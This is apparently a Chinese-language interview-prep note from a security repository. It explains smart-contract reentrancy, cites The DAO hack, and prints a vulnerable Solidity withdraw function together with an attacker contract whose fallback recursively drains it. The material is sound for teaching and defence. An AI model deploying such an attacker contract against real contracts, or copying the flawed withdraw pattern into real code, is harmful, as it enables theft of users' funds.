Files
Sec-Interview/Chapter29/29-3.md
T
2025-09-25 04:06:55 +08:00

77 lines
3.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 说说重入漏洞
**什么是重入漏洞?**
简单来说,重入漏洞发生在以下情况: 一个智能合约在**调用外部合约或地址**(如通过`call``send``transfer`发送以太币)之后,**未及时更新内部状态**
当外部合约或地址接收到以太币时,它可以执行一个**回退函数**Fallback Function)。如果这个回退函数中又包含一个对原始合约的调用,那么它就可以在原始合约的状态(比如余额记录)更新之前,再次执行之前的函数,形成一个无限循环,直到合约中的以太币被取光
**重入漏洞的经典案例:The DAO**
最具代表性的重入漏洞攻击是发生在 2016 年的 **The DAO** 事件。当时,黑客利用这个漏洞从 The DAO 智能合约中盗取了价值超过 6000 万美元的以太币。这次攻击导致了以太坊社区的巨大分歧,最终促成了以太坊(ETH)和以太坊经典(ETC)的分叉
**重入漏洞的工作原理**
我们以一个简单的取款合约为例来详细解释这个过程:
**存在漏洞的合约代码**
```solidity
contract VulnerableContract {
mapping(address => uint256) public balances;
function withdraw() public {
// 步骤 1: 检查用户余额
uint256 amount = balances[msg.sender];
// 步骤 2: 将以太币发送给用户
// 这是一个危险的操作,因为`call`会触发接收方的回退函数
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed.");
// 步骤 3: 更新用户余额
// 这步在外部调用之后,是漏洞的关键
balances[msg.sender] = 0;
}
// 其他函数...
}
```
**黑客合约代码**
```solidity
contract Attacker {
VulnerableContract vulnerableContract;
constructor(address _vulnerableContract) {
vulnerableContract = VulnerableContract(_vulnerableContract);
}
// 步骤 1: 首次调用受害合约的提款函数
function attack() public payable {
vulnerableContract.withdraw();
}
// 步骤 2: 回退函数,当接收到以太币时被触发
fallback() external payable {
// 如果受害合约的余额大于 0,再次调用它的提款函数
if (address(vulnerableContract).balance > 0) {
vulnerableContract.withdraw();
}
}
}
```
**攻击流程解析:**
1. **准备**:黑客向 `VulnerableContract` 存入少量以太币,以获得一个非零的余额
2. **首次调用**:黑客通过 `Attacker` 合约调用 `VulnerableContract``withdraw()` 函数
3. **漏洞触发**
- `VulnerableContract` 检查黑客余额,然后向 `Attacker` 合约发送以太币
- `Attacker` 合约接收到以太币后,其 `fallback` 函数被立即触发
-`fallback` 函数中,黑客再次调用 `VulnerableContract``withdraw()` 函数
4. **递归循环**
- 由于 `VulnerableContract``balances[msg.sender] = 0` 这一行代码**尚未执行**`VulnerableContract` 以为黑客的余额仍然存在
- `withdraw()` 函数再次执行,又一次向 `Attacker` 合约发送以太币,再次触发 `fallback` 函数
5. **耗尽资金**:这个过程会反复进行,直到 `VulnerableContract` 中的所有以太币被耗尽